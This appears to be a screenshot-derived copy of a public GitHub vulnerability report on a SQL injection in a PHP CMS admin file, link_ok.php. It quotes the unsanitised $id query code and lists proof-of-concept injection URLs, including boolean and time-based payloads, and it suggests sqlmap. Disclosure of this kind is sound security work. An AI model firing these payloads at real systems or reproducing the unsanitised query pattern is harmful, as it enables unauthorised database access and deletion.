```
☐ jsjbcyber / bug_report Public
 <> Code
            Issues
                         ! Pull requests
                                           Actions
                                                         Security
                                                                                      ✓ Insights
  ጕ main ▼
 bug_report / bug_l
      jsjbcyber Update bug_l
                                                                                           (1) History
  ৪ 1 contributor
  63 lines (53 sloc)
                      2.18 KB
    1
        Build environment with PHP5.
    2
    3
        affected source code file: /admin/link/link_ok.php
    4
         _____
    5
        affected source code:
    6
    7
            <?php
    8
                require_once '../../inc/const.php';
    9
                $act = $_GET['act'];
   10
                $id =getvar('id');
   11
   12
                $name =getvar('name');
                $url =getvar('url');
   13
   14
                $content =getvar('content');
                $state = getvar('state');
   15
   16
   17
                if($act=='add'){
   18
   19
                  $record = array(
                    'name'
   20
                                       =>$name,
   21
                    'url'
                                       =>$url,
   22
                    'content'
                               =>$content,
                    'addtime'
                               =>date("y-m-d H-i-s"),
   23
   24
                    'state'
                                       =>$state
   25
                  );
                  $id = $db->insert($GLOBALS[databasePrefix].'link',$record);
   26
   27
                  echo "<script>alert('添加成功!');window.location='link_manage.php';</script>";
   28
   29
                if ($act=='mod'){
```

```
30
               $record = array(
31
                 'name'
                                     =>$name,
                 'url'
32
                                     =>$url,
                 'content'
33
                             =>$content,
                 'state'
34
                                     =>$state
35
               );
               $db->update($GLOBALS[databasePrefix].'link',$record,'id='.$id);
36
               echo "<script>alert('修改成功!');window.location='link_manage.php';</script>";
37
38
             }
39
             if ($act=='del') {
40
41
               //del_file($id);
42
               $db->delete($GLOBALS[databasePrefix].'link',"id=".$id);
               echo "<script>alert('删除成功!');window.location='link_manage.php';</script>";
43
44
             }
45
46
         ?>
47
48
49
50
     affected reason:
51
           We can see the $id parameter has not been safely processed. So, the SQL injection can be ach
     _____
52
53
     affected executable:
54
       After Signing in to the background in advance. Then we can use burpsuit to grab the following UR
55
       Like this:
56
57
                  http://xx.xx.com/admin/link/link_ok.php?act=del&id=1'
58
                  http://xx.xx.com/admin/link/link_ok.php?act=del&id=1 and 1=1
59
                  http://xx.xx.com/admin/link/link_ok.php?act=del&id=1 and 1=2
60
                  http://xx.xx.com/admin/link/link_ok.php?act=del&id=1 RLIKE SLEEP(2)
61
62
       And we can see the sql injection problems.
63
       Then, we can use tools like sqlmap for more information.
```